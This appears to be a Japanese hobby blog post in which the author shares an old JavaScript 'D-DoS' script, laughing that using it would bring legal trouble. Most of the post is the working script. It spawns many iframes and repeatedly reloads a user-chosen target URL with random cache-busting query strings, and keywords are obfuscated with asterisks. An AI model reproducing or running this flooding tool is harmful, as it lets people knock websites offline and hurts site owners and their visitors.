- UG -
ペタ
\(・∀・)/
/^ω^\
・・・・・・・・・・
miniSDを整理中に出てきました
JavaScriptをかじり掛けの随分古いスクリプトです
一言で云えばアンダーグラウンドツール
10年以上前携帯でカチカチ作ってましたね
単一集中型D-DoS攻撃とでも名付けておきましょうか
えーとっ
無関係の第三者を巻き込まないDoS攻撃スクリプト
リミット付では在るが動くな…高速で…
あ?使用?
法曹界のお世話になる事間違いなしw
<s*cript l*anguage="J*avaScript">
<!*--
var m_toDoing;
var m_stBomburl;
var m_inInterval = 0;
var m_inCount = 0;
var m_ifFrame = new Array();
f*unction main()
{
m_inInterval = d*ocument.m_f*orm1.m_tbInterval.value;
m_inWinNum = d*ocument.m_f*orm1.m_tbWinNum.value;
m_stBomburl = d*ocument.m_f*orm1.m_tbUrl.value;
f*or(i = 0; i < m_ifF*rame.length; i++)
{
try
{
d*ocument.all.m_dvMado.removeChild(m_ifF*rame[i]);
}
catch(e){}
}
if(m_stBomburl[i] == "")
{
//々々々々
}
else if((m_stBomburl.match(/co\.jp/)) ||
(m_stBomburl.match(/or\.jp/)) ||
(m_stBomburl.match(/gr\.jp/)) ||
(m_stBomburl.match(/go\.jp/)) ||
(m_stBomburl.match(/lg\.jp/)) ||
(m_stBomburl.match(/ac\.jp/)) ||
(m_stBomburl.match(/ed\.jp/)) ||
(m_stBomburl.match(/ad\.jp/)) ||
(m_stBomburl.match(/\.org/)) ||
(m_stBomburl.match(/2ch\.net/)) ||
(m_stBomburl.match(/xrea\.com/)) ||
(m_stBomburl.match(/gov\.jp/)) ||
(m_stBomburl.match(/lb\.jp/)))
{
alert("URLが不正ですを^^\n" + m_stBomburl);
}
else if(m_inInterval < 200)
{
alert("丹荘杉ですを^^");
}
else
{
for(i = 0; i < m_inWinNum; i++)
{
m_ifF*rame[i] = d*ocument.createElement('if*rame');
m_ifF*rame[i].setAttribute("id", "f*rame" + i);
m_ifF*rame[i].setAttribute("height", "120");
m_ifF*rame[i].setAttribute("width", "640");
d*ocument.all.m_dvMado.appendChild(m_ifF*rame[i]);
}
m_inCount = 0;
m_toDoing = setTimeout("goBomb()", m_inInterval);
}
}
function makeQuary()
{
var n, word, kami;
word = "abcdefghijklmnopqrstuvwxyz0123456789\-\=\^\~\|\\\`\@\[\{\}\]\*\:\+\;\_\?\/\>\.\<\,\!\"\#\$\%\&\'\(\)\'";
n = 0;
n = Math.floor(Math.random() * 1920);
kami = "\?";
for(i = 0; i <= n; i++)
{
kami += word.charAt(Math.floor(Math.random() * word.length));
}
return kami;
}
function goBomb()
{
var kami, bomb;
kami = "";
kami = makeQuary();
for(i = 0; i < m_inWinNum; i++)
{
bomb = m_stBomburl + kami;
m_ifFrame[i].setAttribute("src", bomb);
}
bombCounter();
m_toDoing = setTimeout("goBomb()", m_inInterval);
}
function stopBomb()
{
clearTimeout(m_toDoing);
d*ocument.all.m_taInfo.value += "\n\n";
d*ocument.all.m_taInfo.value += "~stop~";
}
function b*ombCounter()
{
var stInfoTmp;
m_inCount++;
stInf*oTmp = "~ドア叩いてます~\n";
stInf*oTmp += "回 :" + m_inCount + "回\n";
stInf*oTmp += "速 :" + m_inInterval + "ms\n";
stInf*oTmp += "門数:" + m_inWinNum + "門\n";
stInf*oTmp += m_stBomburl;
d*ocument.all.m_taInfo.value = stInfoTmp;
}
/*/*-->
</s*cript>
\γ(▽´ )ツヾ( `▽)ゞ⊇グ-ボヨヨ~ン--
~ニッポンハヘイワダ~
イイネ!イイネ!イイネ!イイネ!イイネ!イイネ!
ワッシ-ョイ ワッシ-ョイ ヘックション ブエックション